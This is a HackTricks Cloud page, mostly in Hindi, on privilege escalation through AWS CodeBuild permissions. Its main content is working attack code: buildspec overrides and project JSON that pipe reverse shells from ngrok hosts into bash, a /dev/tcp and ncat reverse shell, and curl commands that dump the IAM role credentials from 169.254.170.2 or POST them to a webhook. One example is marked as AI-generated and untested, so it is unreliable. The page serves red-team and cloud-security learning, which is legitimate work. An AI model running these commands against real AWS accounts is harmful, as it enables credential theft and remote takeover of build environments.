AWS - Codebuild Privesc
Reading time: 10 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
codebuild
अधिक जानकारी के लिए:
codebuild:StartBuild | codebuild:StartBuildBatch
इनमें से किसी एक permission के साथ भी नया buildspec इस्तेमाल करके build ट्रिगर करना और project को असाइन किए गए iam role का token चुरा लेना पर्याप्त होता है:
cat > /tmp/buildspec.yml <<EOF
version: 0.2
phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF
aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml
नोट: इन दोनों कमांड्स के बीच अंतर यह है कि:
StartBuildएक विशिष्टbuildspec.ymlका उपयोग करके एकल build job को ट्रिगर करता है।StartBuildBatchआपको अधिक जटिल कॉन्फ़िगरेशनों के साथ build का एक बैच शुरू करने की अनुमति देता है (जैसे एक साथ कई builds चलाना)।
संभावित प्रभाव: जुड़ी हुई AWS Codebuild roles पर प्रत्यक्ष privesc।
iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
यदि किसी हमलावर के पास iam:PassRole, codebuild:CreateProject, और codebuild:StartBuild या codebuild:StartBuildBatch permissions हों, तो वह एक running codebuild बनाकर किसी भी codebuild IAM role के privileges को escalate कर सकेगा।
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"
REV_PATH="/tmp/rev.json"
printf "$JSON" > $REV_PATH
# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
# Build it
aws codebuild start-build --project-name codebuild-demo-project
# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output
# Delete the project
aws codebuild delete-project --name codebuild-demo-project
{{#endtab }}
{{#tab name="Example2" }}
# Generated by AI, not tested
# Create a buildspec.yml file with reverse shell command
echo 'version: 0.2
phases:
build:
commands:
- curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml
# Upload the buildspec to the bucket and give access to everyone
aws s3 cp buildspec.yml s3:<S3_BUCKET_NAME>/buildspec.yml
# Create a new CodeBuild project with the buildspec.yml file
aws codebuild create-project --name reverse-shell-project --source type=S3,location=<S3_BUCKET_NAME>/buildspec.yml --artifacts type=NO_ARTIFACTS --environment computeType=BUILD_GENERAL1_SMALL,image=aws/codebuild/standard:5.0,type=LINUX_CONTAINER --service-role <YOUR_HIGH_PRIVILEGE_ROLE_ARN> --timeout-in-minutes 60
# Start a build with the new project
aws codebuild start-build --project-name reverse-shell-project
{{#endtab }}
{{#tab name="Example3" }}
# Generated by ex16x41, tested
# Create a hook.json file with command to send output from curl credentials URI to your webhook address
{
"name": "user-project-1",
"source": {
"type": "NO_SOURCE",
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER",
"image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0",
"computeType": "BUILD_GENERAL1_SMALL"
},
"serviceRole": "ARN-OF-TARGET-ROLE"
}
# Create a new CodeBuild project with the hook.json file
aws codebuild create-project --cli-input-json file:///tmp/hook.json
# Start a build with the new project
aws codebuild start-build --project-name user-project-1
# Get Credentials output to webhook address
Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from
{{#endtab }} {{#endtabs }}
Potential Impact: किसी भी AWS Codebuild role पर सीधा privesc।
warning
एक Codebuild container में फ़ाइल /codebuild/output/tmp/env.sh में सभी env vars होते हैं जो metadata credentials को एक्सेस करने के लिए आवश्यक हैं।
यह फ़ाइल env variable
AWS_CONTAINER_CREDENTIALS_RELATIVE_URIरखती है जो credentials को एक्सेस करने के लिए URL path को रखती है। यह कुछ इस तरह होगा/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420
उस को URL
http://169.254.170.2/में जोड़ें और आप role credentials को dump कर पाएँगे।
इसके अलावा, इसमें env variable
ECS_CONTAINER_METADATA_URIभी होता है जो container के बारे में metadata info प्राप्त करने के लिए पूरा URL देता है।
iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
पिछले अनुभाग की तरह, अगर आप build project बनाने के बजाय उसे modify कर सकते हैं, तो आप IAM Role निर्दिष्ट कर सकते हैं और token चुरा सकते हैं।
REV_PATH="/tmp/codebuild_pwn.json"
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"
printf "$JSON" > $REV_PATH
aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
संभावित प्रभाव: सीधा privesc किसी भी AWS Codebuild role पर।
codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
पिछले सेक्शन की तरह लेकिन बिना iam:PassRole अनुमति के, आप इन अनुमतियों का दुरुपयोग करके मौजूदा Codebuild प्रोजेक्ट्स को संशोधित कर सकते हैं और उन roles तक पहुँच सकते हैं जो पहले से उन्हें असाइन किए गए हैं।
REV_PATH="/tmp/codebuild_pwn.json"
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"
# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!
printf "$JSON" > $REV_PATH
aws codebuild update-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
संभावित प्रभाव: attached AWS Codebuild roles पर direct privesc.
SSM
यदि आपके पास enough permissions to start a ssm session हैं, तो निर्माण के दौरान किसी Codebuild project के अंदर जाना संभव है।
The codebuild project will need to have a breakpoint:
phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
- codebuild-breakpoint
और फिर:
aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>
अधिक जानकारी के लिए check the docs.
(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject
एक attacker जो किसी विशेष CodeBuild प्रोजेक्ट का build start/restart करने में सक्षम है और वह प्रोजेक्ट अपना buildspec.yml फ़ाइल उस S3 bucket पर स्टोर करता है जिस पर attacker के पास write access है, CodeBuild प्रक्रिया में command execution प्राप्त कर सकता है।
नोट: यह escalation केवल तभी प्रासंगिक है जब CodeBuild worker की role attacker की role से अलग हो, और उम्मीद है कि वह अधिक privileged हो।
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
vim ./buildspec.yml
# Add the following lines in the "phases > pre_builds > commands" section
#
# - apt-get install nmap -y
# - ncat <IP> <PORT> -e /bin/sh
aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml
aws codebuild start-build --project-name <project-name>
# Wait for the reverse shell :)
आप कुछ इस तरह का buildspec उपयोग कर सकते हैं ताकि एक reverse shell मिल सके:
version: 0.2
phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
Impact: AWS CodeBuild worker द्वारा उपयोग किए गए role पर Direct privesc, जो आमतौर पर उच्च privileges रखता है।
warning
ध्यान दें कि buildspec आमतौर पर zip format में अपेक्षित हो सकता है, इसलिए एक attacker को root directory से buildspec.yml डाउनलोड, unzip, modify करके फिर से zip कर के upload करना होगा
अधिक विवरण यहाँ मिल सकते हैं।
Potential Impact: संलग्न AWS Codebuild roles पर Direct privesc।
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
HackTricks Cloud